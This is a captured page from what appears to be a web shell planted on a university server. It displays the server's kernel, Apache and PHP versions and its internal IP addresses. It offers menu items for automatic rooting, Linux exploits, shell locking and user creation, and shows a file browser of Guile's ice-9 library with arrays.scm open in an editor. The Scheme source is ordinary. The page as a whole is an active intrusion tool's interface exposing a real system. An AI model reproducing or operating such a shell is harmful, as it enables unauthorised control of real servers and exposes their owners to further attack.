Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
guile /
2.2 /
ice-9 /
[ HOME SHELL ]
Name
Size
Permission
Action
peg
[ DIR ]
drwxr-xr-x
and-let-star.scm
2.53
KB
-rw-r--r--
arrays.scm
2.63
KB
-rw-r--r--
atomic.scm
1.55
KB
-rw-r--r--
binary-ports.scm
1.99
KB
-rw-r--r--
boot-9.scm
143.94
KB
-rw-r--r--
buffered-input.scm
4.82
KB
-rw-r--r--
calling.scm
10.54
KB
-rw-r--r--
channel.scm
5.19
KB
-rw-r--r--
command-line.scm
18.2
KB
-rw-r--r--
common-list.scm
8.95
KB
-rw-r--r--
control.scm
4.08
KB
-rw-r--r--
curried-definitions.scm
1.79
KB
-rw-r--r--
debug.scm
1.09
KB
-rw-r--r--
deprecated.scm
2.95
KB
-rw-r--r--
documentation.scm
7.41
KB
-rw-r--r--
eval.scm
25.12
KB
-rw-r--r--
eval-string.scm
2.99
KB
-rw-r--r--
expect.scm
5.5
KB
-rw-r--r--
fdes-finalizers.scm
1.06
KB
-rw-r--r--
format.scm
74.37
KB
-rw-r--r--
ftw.scm
24.17
KB
-rw-r--r--
futures.scm
10.49
KB
-rw-r--r--
gap-buffer.scm
10.14
KB
-rw-r--r--
getopt-long.scm
16.49
KB
-rw-r--r--
hash-table.scm
1.77
KB
-rw-r--r--
hcons.scm
2.55
KB
-rw-r--r--
history.scm
2.29
KB
-rw-r--r--
i18n.scm
20.51
KB
-rw-r--r--
iconv.scm
3.65
KB
-rw-r--r--
lineio.scm
3.85
KB
-rw-r--r--
list.scm
1.29
KB
-rw-r--r--
local-eval.scm
9.96
KB
-rw-r--r--
ls.scm
3.2
KB
-rw-r--r--
mapping.scm
4.84
KB
-rw-r--r--
match.scm
2
KB
-rw-r--r--
match.upstream.scm
35.92
KB
-rw-r--r--
networking.scm
3.33
KB
-rw-r--r--
null.scm
1.13
KB
-rw-r--r--
occam-channel.scm
7.26
KB
-rw-r--r--
optargs.scm
15.75
KB
-rw-r--r--
peg.scm
1.64
KB
-rw-r--r--
poe.scm
3.3
KB
-rw-r--r--
poll.scm
5.79
KB
-rw-r--r--
popen.scm
6.82
KB
-rw-r--r--
ports.scm
18.89
KB
-rw-r--r--
posix.scm
2.73
KB
-rw-r--r--
pretty-print.scm
16.88
KB
-rw-r--r--
psyntax-pp.scm
180.55
KB
-rw-r--r--
psyntax.scm
148.7
KB
-rw-r--r--
q.scm
4.2
KB
-rw-r--r--
quasisyntax.scm
5.22
KB
-rw-r--r--
r5rs.scm
1.56
KB
-rw-r--r--
r6rs-libraries.scm
9.43
KB
-rw-r--r--
rdelim.scm
7.72
KB
-rw-r--r--
readline.scm
9.56
KB
-rw-r--r--
receive.scm
1.06
KB
-rw-r--r--
regex.scm
8.87
KB
-rw-r--r--
runq.scm
8.18
KB
-rw-r--r--
rw.scm
1.02
KB
-rw-r--r--
safe-r5rs.scm
3.72
KB
-rw-r--r--
safe.scm
1.25
KB
-rw-r--r--
sandbox.scm
34.23
KB
-rw-r--r--
save-stack.scm
2.15
KB
-rw-r--r--
scm-style-repl.scm
11.62
KB
-rw-r--r--
serialize.scm
3.78
KB
-rw-r--r--
session.scm
17.72
KB
-rw-r--r--
slib.scm
1.55
KB
-rw-r--r--
stack-catch.scm
1.94
KB
-rw-r--r--
streams.scm
5.86
KB
-rw-r--r--
string-fun.scm
8.59
KB
-rw-r--r--
suspendable-ports.scm
29.87
KB
-rw-r--r--
syncase.scm
1.52
KB
-rw-r--r--
textual-ports.scm
2.29
KB
-rw-r--r--
threads.scm
12.54
KB
-rw-r--r--
time.scm
2.07
KB
-rw-r--r--
top-repl.scm
2.75
KB
-rw-r--r--
unicode.scm
1005
B
-rw-r--r--
vlist.scm
21.56
KB
-rw-r--r--
weak-vector.scm
1.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : arrays.scm
;;; -*- mode: scheme; coding: utf-8; -*- ;;; ;;; Copyright (C) 1999, 2001, 2004, 2006, 2017 Free Software Foundation, Inc. ;;; ;;; This library is free software; you can redistribute it and/or ;;; modify it under the terms of the GNU Lesser General Public ;;; License as published by the Free Software Foundation; either ;;; version 3 of the License, or (at your option) any later version. ;;; ;;; This library is distributed in the hope that it will be useful, ;;; but WITHOUT ANY WARRANTY; without even the implied warranty of ;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;;; Lesser General Public License for more details. ;;; ;;; You should have received a copy of the GNU Lesser General Public ;;; License along with this library; if not, write to the Free Software ;;; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA (define-module (ice-9 arrays) #:use-module (rnrs io ports) #:use-module (srfi srfi-1) #:export (array-copy)) ;; This is actually defined in boot-9.scm, apparently for backwards ;; compatibility. ;; (define (array-shape a) ;; (map (lambda (ind) (if (number? ind) (list 0 (+ -1 ind)) ind)) ;; (array-dimensions a))) ; FIXME writes over the array twice if (array-type) is #t (define (array-copy a) (let ((b (apply make-typed-array (array-type a) *unspecified* (array-shape a)))) (array-copy! a b) b)) ;; Printing arrays ;; The dimensions aren't printed out unless they cannot be deduced from ;; the content, which happens only when certain axes are empty. #:dims? ;; can be used to force this printing. An array with all the dimensions ;; printed out is still readable syntax, this can be useful for ;; truncated-print. (define* (array-print-prefix a port #:key dims?) (put-char port #\#) (display (array-rank a) port) (let ((t (array-type a))) (unless (eq? #t t) (display t port))) (let ((ss (array-shape a))) (let loop ((s ss) (slos? #f) (szero? #f) (slens? dims?)) (define lo caar) (define hi cadar) (if (null? s) (when (or slos? slens?) (pair-for-each (lambda (s) (when slos? (put-char port #\@) (display (lo s) port)) (when slens? (put-char port #\:) (display (- (hi s) (lo s) -1) port))) ss)) (let ((zero-size? (zero? (- (hi s) (lo s) -1)))) (loop (cdr s) (or slos? (not (zero? (lo s)))) (or szero? zero-size?) (or slens? (and (not zero-size?) szero?))))))))
Close